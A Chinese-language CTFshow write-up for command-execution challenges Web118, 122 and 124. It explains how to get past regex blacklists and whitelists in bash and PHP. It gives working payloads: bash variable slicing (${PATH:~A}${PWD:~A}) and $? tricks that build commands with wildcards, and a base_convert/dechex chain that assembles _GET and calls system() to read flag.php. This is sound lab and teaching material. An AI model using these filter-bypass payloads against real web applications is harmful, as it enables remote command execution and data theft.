CTFshow-命令执行(Web118-122,124)

Web118

输入ls,cat 等脚本都不行,fuzz测试一下

我们的payload一般是cat/nl等命令+flag.phpflag.php我们可以用通配符代替????.???cat/nl等命令我们可以用Bash内置变量

环境变量PATH一般是/bin,题目路径PWD/var/www/html

但是题目过滤了数字,无法使用切片。换一种方式获取字符。

linux可以利用~获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。

${IFS}可以,其他都不太行

${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl

1
2
3
4
5
6
7
8
$PWD和${PWD}    表示当前所在的目录	/var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${SHLVL:~A} 1 代表数字1
1
${PATH:~A}${PWD:~A} ????.???

还有几种方法:

1
2
3
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
${PATH:~A}${PWD:~A:${##}} ????.???

尝试构造/bin/cat flag.php或/bin/base64 flag.php

img

可以构造出/???/?????4 ???????? 4 的话可以通过$}???${PWD::$}?????$}???${PWD::$}??${PWD:$:$} ????.??? 就是/bin/rev flag.php

Linux命令rev是将文件中的每行内容已字符为单位反向输出,即第一个字符最后输出,最后一个字符最先输出

Web122

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>

PWD,#没了

执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。

数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

构造错误命令,使$?的结果为1,代替$来分割,可以用命令<A然后下一条命令中的$?就等价于1了,

一直发包就行了

Web124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

观察题目源码发现,过滤了大部分的东西,因此我们只能使用白名单的参数

但是题目的参数并不支持我们执行命令执行,因此我们要想办法绕过

于是我们想到了,让参数逃逸,这样无论我们输入什么都不被过滤

于是

1
c=$_GET[参数];&参数=...

这里我们的参数也被过滤了,但是有白名单,因此我们使用白名单里面的参数进行传参

但是$_GET被过滤了,怎么构造呢?

在白名单中我们发现有base_convert、dechex等函数,看看想办法能不能让他构造参数

首先要构造_GET

1
2
3
4
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面

构造流程

1
2
base_convert('hex2bin',36,10) --> 37907361743 
_GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324

我们首先将bin2hex('_GET');->'5f474554'发现有字母,因此不行,想办法把16进制变成2进制并且返回其ASCII码,于是就要用到hex2bin()函数,但是这个函数被禁用了,我们要想办法构造该函数base_convert('hex2bin',36,10);-> 37907361743(因为36进制中有数字0-9和字母a-z)

然后我们构造_GET=base_convert(37907361743,10,36)(dechex(1598506324));

再利用变量的嵌套$$pi=$_GET

然后利用变量的索引{}绕过[]

{abs} 表示字符串中的数组或字符索引,实际上是访问某个数组元素或字符串中的特定字符。

1
2
3
4
5
$example{abs}等价于$example['abs']
也就是
$$pi{abs}($$pi{acos});&abs=system&acos=ls
等价于$_GET[abs]($_GET[acos])
等价于system(ls)

于是payload

1
2
?c=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

ctf.show

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
1
2
3
4
5
6
7
8
9
10
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php

?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图